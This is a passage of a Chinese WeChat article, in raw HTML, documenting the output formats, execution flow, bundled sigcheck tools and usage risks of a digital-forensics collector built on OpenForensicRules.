style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">stderr.txt</span></code><span leaf="">  命令执行的标准错误</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">stdout.txt</span></code><span leaf="">  命令执行的标准输出</span></p></li></ul><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019195" class="rich_pages wxw-img" data-ratio="0.13725490196078433" data-type="png" data-w="1020" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=961825d4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMh4Aachx2ByRLib08ehk2HIc3FteOuajTSkJYBDGF6Kq5qmoibqRQOuCoQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">5. 小结</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">通过最简单的单个命令的配置文件，基本可以让大家了解目前输出的内容结果。为保证大家视觉效果，不同的类型的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">Source</span></code><span leaf=""> 输出的结果也不尽相同</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">目前采集器处于 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">v0.0.16</span></code><span leaf=""> 版本，目前各个类型的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">Source</span></code><span leaf=""> 输出格式如下，后续的版本中也可能会变化，但变化的方向应该还是向着用户更容易看懂的方向改变</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">COMMAND</span></code><span leaf=""> 使用 txt 文本文件存储</span></p><figure style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019194" class="rich_pages wxw-img" data-ratio="0.21153846153846154" data-type="png" data-w="832" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=3c31d408&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMhOjZuwz3lnoiaujZo9uDJZ5Dn9Z0ydRk7Z4HBEw7kZVAkZRgxbm12ezQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">FILE</span></code><span leaf=""> 保留原始文件，权限默认设置不可执行，内容不变</span></p><figure style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019197" class="rich_pages wxw-img" data-ratio="0.6287037037037037" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=79c8723f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMhR7RQErdhNbRhYTIs91AiaUVxwkdU7t8IQP13ibolMmp5k8JLfO5x7lKQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">PATH</span></code><span leaf=""> 保留原始目录结构，使用 json 描述整个目录的元数据</span></p><figure style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019198" class="rich_pages wxw-img" data-ratio="0.9990740740740741" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=274a6366&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMhHNHic3NIy6P5T7vqLUHXtF5GIggfCdSXPHMIBowObDo2BRyglFNImWw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">REGISTRY_KEY</span></code><span leaf=""> 类型使用 csv 保存结果，如果数据存在逗号或者内容较大，则单独保存</span></p><figure style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019196" class="rich_pages wxw-img" data-ratio="0.25462962962962965" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=9cc01383&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMh6EliaKg7dgwicibs2qJyUpX08icQ2oTK0k1icBdgV9ezakps0zIkn2ibomGA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">REGISTRY_VALUE</span></code><span leaf="">  类型使用 txt 保存结果</span></p><figure style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019199" class="rich_pages wxw-img" data-ratio="0.33425925925925926" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=29ca1724&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMhibwnBBFzTZxiceyxVrWkeSHc0ERXPICVnnexuYiaQF4AB0GGQOzoaPNWA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">WMI</span></code><span leaf=""> 类型使用 csv 保存结果</span></p><figure style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019200" class="rich_pages wxw-img" data-ratio="0.2074074074074074" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=0326f665&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMh0cDn3sv2iangVJsmooxKUGcAwPwlQ6pMaeN27JeyJbxHrDmN35yWRmA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure></div></li></ul><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">特别说明</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">1. 程序执行流程</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">目前程序的执行流程为</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">解析配置文件或配置文件夹内的所有文件</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">加载其中的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">Artifact</span></code><span leaf=""> ，使用协程并行执行 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">Artifact</span></code><span leaf=""> 们</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">Artifact</span></code><span leaf=""> 内部的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">Source</span></code><span leaf=""> 是</span><strong style="font-weight: bold;color: black;"><span leaf="">严格按照顺序串行的</span></strong></p></li></ul><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">2. 程序本身输出问题</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">为让大家尽快使用到基于 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">OpenForensicRules</span></code><span leaf=""> 规则的采集器，目前收集器的输出还处于偏 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">debug</span></code><span leaf=""> 状态，日志收集也不是很完善，但不影响正常使用，这些内容会在后续的版本中完善</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">3. Windows 平台附带工具说明</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">由于使用 Go 语言完整地考虑到各种场景的签名较为复杂，目前 Windows 平台还是依赖</span><strong style="font-weight: bold;color: black;"><span leaf="">采集器二进制文件所在目录</span></strong><span leaf="">的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">.\tools\sigcheck.exe</span></code><span leaf=""> 和 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">.\tools\sigcheck64.exe</span></code><span leaf="">  来完成，为保证安全，程序已记录两个程序的 Hash 值，如果缺少文件或不符合会停止执行</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这里也说明一下，既然程序允许配置命令文件地址，那么就允许使用自定义二进制程序来执行，建议也放到 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">.\tools\</span></code><span leaf=""> 目录下</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">4. 风险问题</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这个工具不只是可用于数字取证和应急响应，用在红队行动上也是一样的，无非就是采集数据，所以希望在法律允许的范围内使用</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">我们的程序允许直接执行命令，所以如果给程序签名，就会被&#34;恶意&#34;利用，所以收集器不会给程序签名</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">更加关键的是：</span></strong><span leaf=""> 在执行程序前，必须了解配置文件中的内容，不然配置文件存在恶意命令，可能会导致攻击传递和扩散。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">采集器程序目前在此问题上是自由且中立的，不会对 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">rm</span></code><span leaf=""> 等命令做检测和提醒</span></strong></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">往期文章</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502811&amp;idx=1&amp;sn=bdf64878bb87c64fb898881f5aadd82e&amp;scene=21#wechat_redirect" textvalue="OpenForensicRules 发布！" data-itemshowtype="0" linktype="text" data-linktype="2">OpenForensicRules 发布！</a></span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502819&amp;idx=1&amp;sn=66c9909519c95e1655978d666aba562d&amp;scene=21#wechat_redirect" textvalue="NOPTrace-Configurator 发布！" data-itemshowtype="0" linktype="text" data-linktype="2">NOPTrace-Configurator 发布！</a></span></p></li></ul></div><p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="NOP Team" data-alias="yidalidemao" data-from="0" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/fZT30hrVgRftxytNjJnL5eOVg23jso0f1Xjf2t8ibBgUvibZjvSkOxsQdP2trmzlpmwBIQU9CObUr93c6p1qNHmg/0?wx_fmt=png" data-signature="有态度，不苟同    No System Is Safe！" data-id="MzU1NDkwMzAyMg==" data-is_biz_ban="0" data-service_type="1" data-verify_status="0"></mp-common-profile></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=5e9e5d7d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMhJFWJZ4FogqF8774nfic4vLic2rXZ6nlgJkH9ff9UV66popdyT6bF8yBw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=d357794d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMhCEh01mBsATic5kAZN0m4uWjv8QDj9mj6iayl8wphvD2GQ8SDBNcUjJPQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=992b9087&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMhOZ0R7H7trDsJA9VCZvVS7PtkDCwk4IFa9gtJkFPpEXAX9J3Uhs5HYg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=6da9d4b1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMhHssJQZWqZnOIJ5pmpvDPRvZThwj7CL3Hp2r7dphZoNRicp7DKmLIdjA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=a09f19d2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMhUKUnPsglNArnMiboz94gI0BDvCXpuI70CBkf7n8qePDg3I1gHq4RzZg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=1affff62&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMhBzicLr0FFibh8NcMEwxfjoyLmWaXXeAOtNpnjJjJkfRgDjzCwyX2zGbg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=8c309304&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMh8jEzTPzJ5ibic8EpmJSXcfcZmJINicEgicGkQ09dvP0WFYgFX66G9018IA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=c9771e17&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMh1LM8uviaMOHlic300leOY5PTTLibABmfAnvYFWK3ibHHrcmBOBwBj35INQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e267a309&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMhBEHulXJD17qxMgfZWicfDmeqgW35O7IO7Uib3zlMTc44T1kOvTaruVRw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=1b8cade2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMhuQXxgUicNiakR4eC39ecj4CJP1pwWC8hibqtibKmgrx2eMSsIqibBMN9P8w%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4ce3da0b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMhqo9bcI5pOtL6OtXib51iarko3jjDQV2gCbgvySh9dOXOdSzwtGXe7kgw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=c20fe882&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMhj1gWQR48gicKZWyRcKCBBjfA5fMpcrgjfxbiaic0S6nDsFEHy2fcgdCHg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=3c403c1a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMhogYVHstTXP6g7j2t1ZiaDVz9uRpBDz1sI4fcNqI0xiaX7hvIRyRmkib1g%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=7c61d1d1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMh377dCKfEkq9QUVNicNxbwEWld7HPvUVHXrcNom5MwvaKIBPYorM6kRA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e7cd95a0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMhibQEwyMCVlzn3ydmhogBttnEkJRCQ9oDWf99DUkSefPZHfCqZP62TZw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=f1a84ae4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMhPTtS2a5HR7TibUibLu1Z7LSa1N49LWjIicRBics0pbIFbwhKDmf1mEoCzg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=a450147f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMhVjblicIYyFf9Po6W2QXlRBHlFBjdEBpcWusia8bu8wtVLBAo6TLfcibZw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=9a2535ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMhOjZuwz3lnoiaujZo9uDJZ5Dn9Z0ydRk7Z4HBEw7kZVAkZRgxbm12ezQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=a51e999f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMhhjxXAn34L5SjsUZv49I8WkINlbu7bPhiajUKicsWz60ommN3lVsylmJw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=cefb9836&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMhDicsVjWEjKPicfssAb00E0DkSYKMn7tPLkASDibFvan5umtxY4bibONn4w%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=b46e2fcb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMho07GshQqmODzzwWYMp8ibUX0MkJiborQBxw6dgUf6vHDXejYbKuN5HYw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=31722828&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMh4Aachx2ByRLib08ehk2HIc3FteOuajTSkJYBDGF6Kq5qmoibqRQOuCoQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=9a2535ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMhOjZuwz3lnoiaujZo9uDJZ5Dn9Z0ydRk7Z4HBEw7kZVAkZRgxbm12ezQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=77d6e1d8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMhR7RQErdhNbRhYTIs91AiaUVxwkdU7t8IQP13ibolMmp5k8JLfO5x7lKQ%2F640%3Fwx_fmt%3Dpng"/></p>
